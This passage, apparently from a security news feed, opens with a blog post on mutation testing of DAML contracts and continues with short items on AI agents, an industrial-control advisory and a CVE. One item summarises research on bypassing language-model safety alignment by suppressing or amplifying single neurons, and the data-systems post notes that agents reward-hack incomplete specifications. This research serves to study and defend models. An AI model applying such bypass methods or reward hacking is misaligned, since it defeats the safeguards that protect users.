For a team shipping DAML to production, that count is what a passing test run is actually worth: it puts a number on how much your suite checks, whereas a green run on its own does not.

Why DAML’s coverage reports lie

Test coverage is the most reassuring lie in smart-contract development. Hitting 100% line coverage tells you the test runner walked the code; it does not tell you whether any test would fail if that code stopped doing what it is supposed to. We have been grading test harnesses by how many mutants they kill since at least 2019, and our primer on finding the bugs your tests don’t catch shows how a green suite can still miss the bug that matters.

DAML’s built-in coverage measures execution at the template and choice level: which templates were created and which choices were exercised over the test run. It reports whether each choice was exercised, not what happened inside it. A test that exercises a choice once and asserts nothing about the result reports that choice as covered. The report prints the same green percentage whether the test verifies the outcome or discards it.

How mutation testing works

Instead of asking whether your tests reached the code, mutation testing grades your tests by sabotaging that code. The engine generates mutants, copies of the code that each carry one small deliberate change: a flipped comparison, a removed branch, a dropped party. It then runs your test suite against each one. A mutant that makes the suite fail is caught; a mutant that passes every test survives. Every survivor is a change your tests let through, and each one is either harmless or a potential bug. The harmless ones are equivalent code no test could distinguish or a branch no execution reaches, and you can set those aside. The rest are a to-do list: each one is a specific test you are missing, a case your suite should check but does not, occasionally with a real bug sitting behind the gap. The primer above describes a real audit where a mutation campaign surfaced a high-severity bug that the project’s tests had missed.

Mutation testing forces the unhappy path

A DAML contract encodes rights and obligations between named parties: who holds what, who owes what to whom, and who must authorize each step. A party is not an anonymous address. It represents a real organization or person, and the contract is the rulebook for how those parties interact, including which of them can take which action, what each is allowed to see, and what stays private between them.

Authorization is how that rulebook is enforced: who may take which action. It is also easy to get wrong in ordinary ways, such as a typo in a controller clause, a missing party, an extra one left over from a refactor. Every combination type-checks, so nothing rejects it before it ships. A static analyzer can flag suspicious patterns, but it has no way to know which party should hold which authority on your contract. That knowledge lives in your specification, and for most projects, the only executable form of the specification is the test suite. Happy-path tests supply every signature the contract asks for and confirm the transaction succeeds. They never try the negative case—removing a required signature and checking that the ledger rejects the transaction—so they never actually test whether that signature was required at all. If the tests don’t encode that rule, nothing downstream can recover it. Mutation testing is what tells you whether they do.

A green test run tells you your tests passed today. Mutation testing asks the harder question: would your tests catch a mistake, now or after the next code change? Where the answer is no, you have found a test case worth writing.

What Mewt adds for DAML

Mewt parses every language it supports with a tree-sitter grammar. As of mid-2026, there is no maintained tree-sitter grammar for DAML, so we reused the upstream tree-sitter-haskell grammar. DAML is Haskell-shaped, but its contract constructs (template, choice, controller, and signatory) are not Haskell, and the grammar parses them as error-recovered subtrees. That matters less than it sounds. The common mutations still work on DAML’s ordinary expressions, so Mewt swaps arithmetic and comparison operators, flips Booleans, and removes branches just as it does in any other language, with only small adjustments where DAML’s surface syntax differs (DAML writes /= where most languages write !=). We got most of the value of a from-scratch grammar without building one.

The new engineering went into DAML’s authorization primitives, where the authorization bugs from the previous section live. Mewt adds two DAML-specific mutations:

Controller party swap (CPS in Mewt’s output): replace one party in a controller clause with another party that is in scope at that site.
Controller party removal (CPR): drop one party from a multi-party controller list.

Both target the same question: if the set of parties allowed to exercise this choice silently changed, would any test fail? They are a deliberately small starting set aimed at the bug class above, and more DAML-specific mutations are in the pipeline.

Driving a campaign needs no new harness. A short mewt.toml names the files to mutate and the test command (dpm test for a Daml 3 project), and mewt run does the rest, reporting each mutant as caught or surviving. The setup is deliberately small: trying it on your own project costs minutes, and we encourage exactly that.

What a surviving mutant looks like

Picture a conditional payment between a buyer and a seller: the buyer sets money aside for the goods, and paying it out to the seller requires both parties to sign off. The buyer’s signature is the delivery confirmation. In DAML, that policy is one line: the controller line on the Release choice.

template ConditionalPayment
 with
 buyer : Party
 seller : Party
 amount : Decimal
 where
 signatory buyer
 observer seller

 choice Release : ()
 with
 paid : Decimal
 controller buyer, seller
 do
 assert (paid == amount)

Figure 1: A payment that requires both the buyer and the seller to approve its release

A typical happy-path test creates the payment and has both parties approve the release. The actAs buyer <> actAs seller line submits the command with both parties’ authority:

testHappyPath : Script ()
testHappyPath = script do
 buyer <- allocateParty "Buyer"
 seller <- allocateParty "Seller"
 payment <- submit buyer do
 createCmd ConditionalPayment with
 buyer
 seller
 amount = 100.0
 submit (actAs buyer <> actAs seller) do
 exerciseCmd payment Release with paid = 100.0
 pure ()

Figure 2: The happy-path test. It passes, and coverage reports 100%.

The test passes, and by the usual measure the suite looks complete: running dpm test with coverage reporting enabled shows full coverage.

$ dpm test --show-coverage --coverage-ignore-choice Archive
testHappyPath: ok, 0 active contracts, 2 transactions.
- Internal templates: 1 defined, 1 (100.0%) created
- Internal template choices: 1 defined, 1 (100.0%) exercised

Figure 3: The coverage report for the happy-path test. Every template is created and every choice is exercised, for 100% coverage.

The --coverage-ignore-choice Archive flag deserves a word. Every DAML template automatically gets an implicit Archive choice. It is not part of the business logic under test, so we exclude it for simplicity. With it included, this one-choice template would report 50% even though the test exercises everything we wrote.

Run Mewt on the project and it generates seven mutants. The test suite catches three of them. Four survive. Here is one of the survivors, shown as the diff Mewt reports:

 choice Release : ()
 with
 paid : Decimal
- controller buyer, seller
+ controller seller
 do
 assert (paid == amount)

Figure 4: The controller-removal mutant that survives the test suite

Re-run the test suite against this mutant. It still passes, and coverage still reports 100%. The contract claims releasing the buyer’s money requires both parties. The mutant lets the seller release it to themselves without the buyer ever confirming delivery. The tests report green either way. Only a test that tries the forbidden path, the seller acting alone, expecting the ledger to reject it, can tell the two contracts apart. No such test exists, and the mutation score says so. (The other three survivors tell the same story from different angles: the buyer-alone twin of this mutant, and two mutants that weaken the paid == amount check to <= and >=, which survive because the test only ever pays the exact amount.)

Step back, and this is the whole point of the exercise. Your tests are the executable specification of your code. Here the implementation changed, one required approval instead of two, and the specification did not react. That means the expected behavior was underspecified all along: whether both the buyer and the seller have to sign off, or just one of them, was never actually written down anywhere a machine could check. Every controller combination type-checks, and coverage reports 100% for all of them. The only place “both must sign” can exist in checkable form is a test that expects the weakened contract to fail, and writing that test is exactly what the surviving mutant tells you to do.

Limitations and what comes next

Mewt is not magic. Two limits are worth knowing before you run your first campaign: not every survivor is a real gap, and a campaign costs time. The roadmap that follows them is where we are taking the work next.

Equivalent mutants exist: some survivors turn out to be semantically identical to the original program, so no test could ever catch them. Few public DAML codebases on GitHub come with a full test suite, so we are glad OpenZeppelin open-sourced its canton-stablecoin reference implementation. Mewt generated hundreds of mutants for it. We ran the highest-priority ones through the existing test suite, and seven of those survived. Three were equivalent mutants or sat behind a guard that no path reaches, and the other four were genuine missing test cases. None of the survivors we reviewed pointed to a bug. Such a clean result is what you want when you run Mewt on your own code, and triaging them took minutes.

One of those equivalent mutants shows what that means concretely. A helper computed accrued debt:

accrueDebt currentDebt lastAccrual now annualRate =
 if currentDebt == 0.0 || annualRate == 0.0 then currentDebt
 else
 let elapsedYears = ... -- elapsed time as a fraction of a year
 in currentDebt * (1.0 + annualRate * elapsedYears)

Figure 5: The accrueDebt helper. Its first-line guard is a shortcut that returns the same value the calculation already produces.

Mewt forced the if to always take the else branch. No test failed, and none ever could: when the debt is zero, the formula multiplies by zero and returns zero, and when the rate is zero, it multiplies the debt by one and returns it unchanged. The guard is a shortcut that returns the value the formula already produces, so removing it changes nothing. Mewt suppresses the equivalent mutants it can detect. The rest need a reviewer’s judgment to dismiss.

Campaigns cost time in two places. The machine part: Mewt runs your test suite once per mutant, so the wall-clock cost is roughly the number of mutants times how long one test run takes, plus a rebuild if your project needs one. That is minutes on a small codebase and hours on a large one or a slow suite, so the cadence that works is nightly or weekly rather than per-commit. The human part: someone has to look at the survivors. We are working on that front from several directions at Trail of Bits, including our mutation-testing skill that helps configure campaigns for your project, and Trailmark with its genotoxic triage skill. None of these understand DAML yet, but the direction is clear: given the right harness and tools, the time-consuming parts of a campaign can be handed to AI agents. The effort is modest and the payoff is concrete: each genuine survivor is a specific test you can write, and every test you add makes your suite enforce one more guarantee your contracts are supposed to make.

Also on the roadmap: choice-consumption mutations (consuming vs nonconsuming) sit cleanly on top of the controller-mutation scaffolding and target a bug class Mewt does not yet reach.

Dive in

Install Mewt from the repository, point a mewt.toml at your project and its test command, and mewt run. The quickstart in the README covers the rest. DAML works out of the box. Everything here ran on Daml 3.4 with dpm, but Mewt just drives whatever test command you configure, so Daml 2 projects using the daml assistant work the same way.

Mutation testing complements the rest of your security stack, the type checkers, linters, and property tests you already run, rather than replacing any of it.

If you’re building on Canton, we help teams with security reviews of DAML applications and with the way the code gets built: working directly with your engineers on the development process itself. Contact us.

OpenAI and Anthropic are pulling in different directions

Wed, 08 Jul 2026 06:54:38 +0200

The post OpenAI and Anthropic are pulling in different directions appeared first on IT Security News.

OpenAI and Anthropic are pulling in different directions

Wed, 08 Jul 2026 06:07:13 +0200

Companies are handing routine operational decisions to AI agents that plan, remember, and act on their behalf. These agents run on statistical models, and their behavior can drift across weeks and months. That drift opens a security gap outside the reach of standard monitoring tools. A study of about 1,080 open job postings at OpenAI and Anthropic maps where the two largest AI labs are taking this technology. Each role reflects a budget decision, so … More →

The post OpenAI and Anthropic are pulling in different directions appeared first on Help Net Security.

Flighty Update Adds Connection Assistant and Gate Predictions

Wed, 08 Jul 2026 00:40:04 +0200

Flighty has received a major update on the App Store, and the biggest addition is a new Connection Assistant feature that gives travelers clearer guidance during connecting flights. The update focuses on making airport transfers easier by showing the exact steps passengers need to follow between flights. Flighty adds a smarter connection guide The new Connection Assistant gives step-by-step information for each connection, including terminal changes, security checks, passport control, and other airport procedures. It also shows how long each step usually takes, which helps travelers understand whether they have enough time before their next flight. Flighty says the feature combines its flight-tracking data with airport-specific procedures and statistical models based on millions of previous flights. Because of this, the app can give guidance based on the traveler’s actual route instead of offering general airport advice. The feature also supports more personal details. Travelers can add their booking class or seat information to improve timing estimates, while passport details help the app show instructions based on citizenship. For example, the app can tell users whether they can use e-gates or skip certain passport control steps. Gate Predictions also arrive The update also adds Gate Predictions, which Flighty describes as an industry-first feature. With this tool, the app uses historical airport and flight data to predict arrival gates, departure gates, gate ranges, or concourses before official details appear. This joins Flighty’s existing tools, including live flight tracking, delay predictions, airport intelligence, and detailed flight data. Flighty remains available as a free download on the App Store, while Flighty Pro costs $4.99 per week or $59.99 per year. A lifetime option is also available for $299.

The real cost, security, and culture problems behind enterprise AI agents

Tue, 07 Jul 2026 23:17:57 +0200

Presented by Red Hat

At VentureBeat's recent AI Impact event, where the discussion centered on what separates enterprises that scale agentic AI from those that stall in pilot mode, Brian Gracely, senior director of portfolio strategy at Red Hat, detailed what companies actually run into once agents reach production.

He dove into cost discipline, the security blind spots unique to autonomous systems, and the organizational friction that determines whether agent adoption spreads beyond early champions.

Enterprises are overestimating how far behind they are on AI agents

Many enterprise leaders, especially those following industry keynotes and AI announcements, worry that they’re already falling dangerously behind competitors deploying agents at scale. But according to Gracely, much of that anxiety reflects a misconception about how quickly organizations learn once they begin building. Teams often move up the learning curve far faster than they expect.

That rapid progress creates a different challenge, however. As agent usage expands, AI costs rise just as quickly, turning cost management from an engineering concern into a recurring boardroom discussion.

Agentic AI usage is orders of magnitude higher than during the chatbot era, making AI costs a growing concern for enterprises. At the same time, organizations are becoming increasingly aware of their dependence on a small number of model providers. According to Gracely, that combination is driving many enterprises to explore alternatives that give them greater control over costs and infrastructure.

"The two or three top providers are already telling the market that they're losing money, and they're trying to go public to make up those gaps," he explained. "At some point, the dependency on that means you're either going to buy at a very high-cost level, or you're going to figure out alternatives to control what you're doing."

Right-sizing AI models is the fastest lever for cutting agent costs

The biggest cost issue is that enterprises overspend by defaulting to the most capable model available regardless of task complexity.

"If I'm simply trying to resolve an insurance claim, I don't need to know about the history of Western civilization in my model, I don't need to know World Cup soccer scores," Gracely said.

Semantic routing is the mechanism many companies use to make that judgment automatically, classifying requests and sending each to a model sized for the task without requiring users to choose, while infrastructure techniques like caching repetitive queries cut how often a request needs to reach GPU compute at all. Together, he said, these tools remove the assumption that efficiency and innovation pull in opposite directions.

"There's a lot you can do at a GPU infrastructure level, and quite a bit you can do in terms of flexibility of models," he explained. "Those give excellent choices in terms of the levers you're trying to pull, whether you need efficiency or you need innovation. That shouldn't be a binary choice."

The financial discipline needed for token spend is similar to the FinOps practices that took years to mature in order to take control of cloud compute spending. Those underlying frameworks will transfer even as the vocabulary changes, Gracely said, especially as organizations push for internal education on model selection so teams stop defaulting to the most prominent option for tasks that don't need it.

"The same way we first had to teach the financial people what an EC2 instance is and what an S3 bucket is, you're going to have to start explaining tokens to them," he said. "We don't always need a Rolls-Royce. We don't always need caviar, because we're trying to do basic types of things."

Patch speed is now critical as AI tools find vulnerabilities faster

AI-powered vulnerability discovery is forcing enterprises to rethink how quickly they can identify, validate and deploy patches. Long-established patch management cycles may no longer be fast enough in an environment where AI can uncover — and attackers can exploit — new vulnerabilities much more quickly.

"Most companies are probably going to have a window of somewhere between seven and 14 days to stay ahead," he said. "There are groups, Red Hat included, that are going to build patches for these, but the embargo window is going to be short."

AI is also changing what defenders need to look for. Rather than simply uncovering isolated critical flaws, AI security tools can identify combinations of seemingly minor vulnerabilities that become dangerous only when chained together. As both software complexity and vulnerability discovery accelerate, Gracely argued that the ability to rapidly manage and update software is becoming a strategic capability rather than simply an operational one.

Subject matter experts and compliance teams decide whether agents scale

In the end, organizational adoption comes down to the need for deep, sustained involvement from the subject matter experts whose knowledge the agent is meant to encode, which makes earning their buy-in a prerequisite rather than an afterthought.

"You have to think about the incentives, what you do for people who participate in this work so they don't feel threatened that it's going to take away their job, and how you incentivize people in the long run to cooperate with that innovation," he said.

Intelligence is Free, Now What? Data Systems for, of, and by Agents

Tue, 07 Jul 2026 19:19:05 +0200

... government of the people, by the people, for the people ...
— Abraham Lincoln, Gettysburg Address (1863)

The cost of AI is dropping rapidly. GPT-4-class capabilities cost roughly $30 per million tokens in early 2023; today the same runs under $1, and some providers are pushing costs below $0.10. Across benchmarks, inference prices have fallen between 9x and 900x per year, with a median decline near 50x. Even frontier models are getting dramatically cheaper each generation, with open-source models following closely behind. And crucially, even if “Nobel-Prize-winning genius-level” intelligence isn’t here yet, the intelligence that suffices for the vast majority of knowledge work is here today, and getting cheaper by the month. At this rate, we are soon entering the era of virtually free intelligence—the kind that is more than enough for everyday knowledge work.

Disclosure: This post is a perspective led by Aditya G. Parameswaran—an Associate Professor of EECS and co-director of the EPIC Data Lab at UC Berkeley—together with his collaborators. It is part landscape survey and part perspective, and several of the research directions discussed below (including agentic speculation, structured memory, and synthesizing custom data systems from scratch) draw on the authors' own ongoing work.

So, what does this new era of near-free intelligence mean for data systems? We believe three new challenges—and opportunities—stem from near-zero inference costs:

Data Systems For Agents. Agents will soon become the dominant workload for data systems—with swarms of agents spun up in response to each end-user request. Given differences in characteristics between agents and humans—or applications acting on their behalf—how should we redesign data systems for such agentic users?

Data Systems Of Agents. As agents start taking on the bulk of knowledge work, a new substrate is needed for thousands of agents to manage state over long-running tasks, coordinate and reach consensus, and deal with failures. What do data systems that reliably and efficiently run and manage agent swarms look like?

Data Systems By Agents. Agents are rapidly becoming capable of synthesizing entire data systems in one go—meaning we can rebuild custom systems for each new workload. Verifying that such systems match intended behavior is a challenge. What does it take to let agents synthesize data systems we can actually trust?

Data Systems For, Of, and By Agents

Next, we will discuss each in more detail, followed by discussing the intertwined future of data systems and agents, especially as the three challenges intersect.

Data Systems For Agents

An agent querying a database doesn’t behave like a person or a BI tool. It performs what we call agentic speculation: a high-volume, heterogeneous stream of work spanning schema introspection, columnar exploration, partial and then full query formulation. With multiple agents each exploring portions of the hypothesis space, each user request could amount to 1000s of individual SQL queries. Now, users can issue ‘high-level’ data tasks, e.g., root-cause analysis—e.g., ‘why did coffee sales in Berkeley drop this year’—or exploratory cohort analysis—e.g., ‘which user segments are most likely to churn next quarter’—each involving a combinatorial space of potential joins, aggregations, and filter combinations.

Data Systems Redesigned to More Effectively Support Agentic Speculation

The requests from these agents have various opportunities for optimization. For instance, on a text-to-SQL benchmark with multiple agents attempting each task, only 10-20% of the sub-plans are distinct. Thus, 80-90% of sub-queries perform duplicate work. The same experiments show task success rates significantly increasing with more agentic attempts—so the redundancy is actually helpful. But from the data system perspective it’s wasted work.

An agent-first data system can exploit such properties to help agents make progress faster. It can reuse results across overlapping sub-plans, drawing on ideas from decades-old literature on multi-query optimization and shared scans. Or the data system can try to satisfice, returning approximate answers that are good enough for agents to make progress, leveraging work from the AQP literature—or streaming the results of the final or intermediate operators to help agents decide if seeing the rest is necessary or helpful.

Another opportunity here is to rethink the query interface entirely: instead of agents issuing a single SQL query at a time, they could instead issue a batch of queries, each with its own approximation requirements. Since enumerating an exponential search space (as in the root cause or cohort analysis examples above) isn’t a good use of agentic reasoning ability, perhaps data systems should support higher-level primitives rather than requiring agents to list each SQL query explicitly. One idea here is to draw on DBT-style Jinja macros to provide looping-based primitives for agents to interact with data systems.

A Caffeinated Army of Agents Ready to Tirelessly Complete Your Data Tasks

A final opportunity here is to stop thinking of data systems as passive executors of queries; data systems could be proactive, as they possess more grounding in data and system characteristics that agents may lack a priori—they could steer agents in different directions, provide results for related queries, and also provide performance-level feedback (e.g., instead of executing an expensive query, the system could first provide the agent a latency estimate). The reason we can do this now as opposed to the past is that an agent can accept any form of textual feedback and isn’t expecting a strict SQL query result. In fact, the data system could also prepare both materialized and virtual views for an agent in advance, provided to the agent as part of context, as this may be cheaper or more effective than having an agent author or use them.

Data Systems Of Agents

Previously, we focused on how agents interact with data systems. Now, we consider everything else agents need to keep working: where they live, how they remember, how they coordinate with each other, and how they deal with failures of each other. This agentic substrate is separate from the inference stack powering raw intelligence. However, the inference stack itself is being abstracted away through APIs (e.g., from OpenAI or Anthropic), or, for open-weight models, through serving frameworks that hide low-level details. So far, the agentic substrate has been managed through harnesses like Claude Code and Codex, coupled with various mechanisms to store and retrieve memory.

First, on the memory front, the current wisdom is that files are all you need; agents write to unstructured markdown (MD) files, which can then be searched using grep, or via embedding-based retrieval. In fact, many argue that the solution to continual learning is having agents consume a lot (e.g., an entire codebase, slack, company wikis, …) and then write their learnings into MD files, which are then retrieved selectively on demand. Indeed, file systems, bash scripting, and MD files are and will still be important for agents. However, at scale, when agents are doing the vast majority of knowledge work, this approach will no longer be effective.

Given limited context windows, retrieving all MD file fragments that may be relevant and stuffing it into the context will break down at some point. Even if context windows continue to grow, there are latency benefits to not put all information into context — and in many cases, e.g., when knowledge work involves interacting with large databases or code bases, it will be infeasible to serialize all relevant data into context.

Data Systems As A Substrate for Multi-Agent Swarms

One could use a knowledge graph representation, but knowledge graphs suffer from the same limitations as unstructured MD-based memory due to their lack of structured search. What one needs is to be able to retrieve only memory that is pertinent to the task, across multiple attributes (or facets) of interest. For example, an agent debugging a flaky test should be able to pull only the memories tagged with the relevant module, language, framework, and failure mode—rather retrieving based on keywords or embedding similarity. A separate issue is what to actually retrieve; raw agent traces with mistakes are not very useful as they will induce agents to repeat the same mistake—instead, we want the retrieved memory to be corrective.

We recently explored a related notion of structured memory, where we organize memory across various attributes, each of which could be set as * to indicate universal applicability, or set as a list of values to be matched. For a data agent, the dimensions could include the columns and tables, type of operation, and finally, open-ended natural-language corrective instructions. So, we could include memory that only applies to a given type of operation (e.g., ‘when performing date-time operations, use fiscal year as opposed to calendar year conventions’), or a given table (e.g., ‘column product_cleaned is preferred over column product when querying on product name’). One open question is defining an application-specific structured memory—or what others have called world models for memory. We believe this is akin to defining a schema for each application—and perhaps agents themselves can help us define and refine it over time.

One Possible Way To Store and Retrieve Structured Knowledge [From Here]

Structured memory will be useful also for evolutionary frameworks to effectively manage search spaces. Indeed, storing, structuring, and mining large volumes of single and multi-agent traces can help future agents become much more efficient—potentially enabling effective recursive self-improvement through structured memory-based mechanisms.

Another challenge is to support concurrent edits to shared memory, and concurrent edits in general, when there are many agents performing transformations. While there have been some useful attempts at supporting multiversioning and copy-on-write semantics, it isn’t clear that such techniques will suffice when thousands of agents are attempting to edit shared state at the same time. For instance, when agents are trying various potential transactions in response to a user request, the effects of the vast majority of these transactions need to be rolled back—with only the one ‘correct’ transaction’s result persisting. Work on supporting exactly-once semantics is relevant here, as are underlying techniques based on CRDTs and operational transformation. For updates to fuzzy mechanisms such as memory, we may be able to sacrifice on consistency for perfect correctness in the interest of latency. While agents can reason about semantics to compensate or roll back their actions to eventually finalize most tasks, the primary challenge lies in the degree to which they step on each other’s toes during the process. An important failure mode to be avoided is a form of “livelock,” where incessant compensating actions prevent any meaningful progress.

Beyond shared state, other concerns emerge when trying to support an army of agents, including what to do when agents fail, how agents should communicate with each other (directly or through intermediate shared state), and how we should deal with straggler agents. There have been some developments in supporting durable multi-agent execution, such as Temporal, but it remains to be seen if such solutions will apply at scale across thousands of agents. On the topic of communication, we need mechanisms to enable agents to negotiate with each other. Imagine four developer agents attempting to reach consensus on a shared schema, with distinct but overlapping objectives. In a human setting, this would involve iterative discussion and compromise; for agentic swarms, we must define the mechanisms that allow them to converge on a design that reflects the underlying goals of their respective principals. Or if agents are all requiring access to a limited resource, again communication will be necessary. It remains to be seen if this is best done via centralized coordination, or if a decentralized approach is necessary.

Data Systems By Agents

Finally, if intelligence is effectively free, then we can employ this intelligence to synthesize new data systems from scratch. Indeed, in many settings, general-purpose data systems may be overkill, as they have to support every schema, query, and hardware target. Given a workload, recent work, including Bespoke OLAP and GenDB, has shown that one can use an agentic pipeline to synthesize a complete, workload-specific analytical engine—in minutes to a few hours, at a cost of a few dollars. The engines are disposable: when the workload shifts, one can simply regenerate them. Analogously, our work has shown that one can synthesize custom key-value stores from scratch, targeted to the workload. In fact, modern IDEs, such as Kiro, elevate specifications for systems development to be a first-class citizen.

Agents Can Synthesize Custom Data Systems From Scratch

The main issue, however, is that specifications are typically imperfect, and don’t cover all corner cases. Present-day agents will exploit the missing specifications to reward-hack their way to a high performance metric. In our custom key-value store work, we found that one way to alleviate this is to have auxiliary verification agents trying to generate test cases that catch the exploitation of corner cases, essentially expanding the specification. Yet another approach is to both generate a system and a proof for its correctness together, for which we have found some early success, but more needs to be done to solidify the approach. Further, it remains to be seen what is the best way to solicit human-written specifications for a system—can this be done in an iterative, human-in-the-loop manner, as opposed to a one-shot, incomplete one. Indeed, human-written specifications are incomplete even for manually authored software, so one would expect that future agents that are more aligned will increasingly exercise better judgement when making design decisions.

One Possible Data System Synthesis Pipeline [From Here]

Other questions here involve testing whether starting from a mature system (e.g., Postgres) and removing components/functionality can lead to higher performance or more user trust. Separately, is there an opportunity to make the design composable, comprising various verified components that are mixed and matched given a workload? For example, perhaps the workload hasn’t changed enough for the storage layer to be updated, but perhaps the query optimizer requires changes. A perhaps more viable proposition involves employing agents coupled with proof systems to target critical parts of the code associated with formal proofs, rather than doing so for the entire system.

A final opportunity here is to move away from the traditional data systems stack with clearly-defined interfaces (e.g., parser, query optimizer, storage manager, …) — that were each largely the prerogative of a single human team to manage. Instead, agents can find new ways to “blend” these components together, perhaps identifying new optimization opportunities as a result. Agents can also fill in missing gaps in functionality to make existing systems much more feature-complete, or reach feature-parity with other competing systems—or analogously, continuously refining open-source systems in response to feature requests or issues (perhaps filed by other agents!) Doing so in a way that prioritizes correctness, long-term maintenance, and human interpretability will be a challenge.

Looking Further Ahead

In the era of near-free intelligence, data systems matter more than ever. As agents take on the bulk of knowledge work, the workload for data systems will change, the substrate they need to run on will have to be built, and increasingly, they will participate in designing data systems themselves. Each of these shifts opens up a new, exciting research agenda.

Co-Evolution of Data Systems and Agents

Looking further out, the boundaries between agents and data systems will likely start to blur. For instance, agents may design the data systems they themselves run on, defining both the interfaces as well as the system components underneath. Both the interfaces and internals can be evolved over time by agents in a form of recursive self-improvement. There is also an opportunity to rethink data systems as a holistic source of truth for the entirety of relevant state: including raw data, memory, and coordination state, further erasing the distinctions between the data that is being queried by agents and data generated as a result of agentic activity. Finally, data systems may themselves incorporate agentic components, fundamentally evolving from passive computation engines into intelligent, proactive, self-optimizing architectures. It is hard to predict what the future may hold. We’re in for a wild ride!

Acknowledgments

The perspective and ongoing work described in this post are the product of joint research and many discussions with wonderful collaborators at the EPIC Data Lab, Data Systems & Foundations group, and the broader Berkeley AI-Systems community. Thank you all!

BibTex for this post:

@misc{intelligence-is-free-blog,
  title={Intelligence is Free, Now What? Data Systems for, of, and by Agents},
  author={Aditya G. Parameswaran and Shubham Agarwal and Kerem Akillioglu and Shreya Shankar
          and Sepanta Zeighami and Rishabh Iyer and Matei Zaharia and Alvin Cheung
          and Natacha Crooks and Joseph Gonzalez and Joseph Hellerstein and Ion Stoica},
  howpublished={\url{https://bair.berkeley.edu/blog/2026/07/07/intelligence-is-free-now-what/}},
  year={2026}
}

Siemens SINEC OS

Tue, 07 Jul 2026 18:55:49 +0200

View CSAF

Summary

SINEC OS before V4.0 contains multiple vulnerabilities. Siemens has released a new version for RUGGEDCOM RST2428P and recommends to update to the latest version.

The following versions of Siemens SINEC OS are affected:

RUGGEDCOM RST2428P (6GK6242-6PA00) vers:intdot/<4.0

CVSS	Vendor	Equipment	Vulnerabilities
v3 9.8	Siemens	Siemens SINEC OS	Improper Restriction of Operations within the Bounds of a Memory Buffer, Improper Resource Shutdown or Release, Integer Overflow or Wraparound, Stack-based Buffer Overflow, Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Uncontrolled Recursion, Out-of-bounds Read, Covert Timing Channel, Improper Input Validation, Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), Improper Update of Reference Count, Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), Multiple Releases of Same Resource or Handle, Permissive Regular Expression, Expired Pointer Dereference, Incorrect Bitwise Shift of Integer, Out-of-bounds Write, User Interface (UI) Misrepresentation of Critical Information, Improper Access Control, Insertion of Sensitive Information Into Sent Data, Inefficient Algorithmic Complexity, Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Authentication Bypass by Primary Weakness, NULL Pointer Dereference, Active Debug Code, Loop with Unreachable Exit Condition ('Infinite Loop'), Missing Synchronization, External Control of File Name or Path, Privilege Dropping / Lowering Errors, Use of Web Browser Cache Containing Sensitive Information

Background

Critical Infrastructure Sectors: Critical Manufacturing, Transportation Systems, Energy, Healthcare and Public Health, Financial Services, Government Services and Facilities
Countries/Areas Deployed: Worldwide
Company Headquarters Location: Germany

Metrics

CVSS Version	Base Score	Base Severity	Vector String
3.1	5.7	MEDIUM	CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Acknowledgments

Siemens ProductCERT reported these vulnerabilities to CISA.

General Recommendations

As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

Additional Resources

For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories

Terms of Use

The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.

Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.

Locate control system networks and remote devices behind firewalls and isolate them from business networks.

When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

Advisory Conversion Disclaimer

This ICSA is a verbatim republication of Siemens ProductCERT SSA-253495 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.

Revision History

Initial Release Date: 2026-06-02

Date	Revision	Summary
2026-06-02	1	Publication Date
2026-07-07	2	Initial CISA Republication of Siemens ProductCERT SSA-253495 advisory

Legal Notice and Terms of Use

A Single Neuron Is Sufficient to Bypass Safety Alignment in Large Language Models

Tue, 07 Jul 2026 16:48:52 +0200

Safety alignment in language models operates through two mechanistically distinct systems: refusal neurons that gate whether harmful knowledge is expressed, and concept neurons that encode the harmful knowledge itself. By targeting a single neuron in each system, we demonstrate both directions of failure — bypassing safety on explicit harmful requests via suppression, and inducing harmful content from innocent prompts via amplification — across seven models spanning two families and 1.7B to 70B parameters, without any training or prompt engineering. Our findings suggest that safety alignment…

CVE-2022-37775 | Genesys PureConnect Interaction Web Tools Chat Service Printable Chat History cross site scripting (Issue 168410)

Tue, 07 Jul 2026 14:10:20 +0200

A vulnerability classified as problematic has been found in Genesys PureConnect Interaction Web Tools Chat Service. Affected by this vulnerability is an unknown functionality of the component Printable Chat History Handler. This manipulation causes cross site scripting. The identification of this vulnerability is CVE-2022-37775. It is possible to initiate the attack remotely. There is no exploit available.

The modern CISO is becoming the next CFO

Tue, 07 Jul 2026 11:09:17 +0200

At some point, every security leader gets asked a version of the same question: Are we good? It tends to arrive when something is at stake and the person asking needs to know they can rely on the answer.

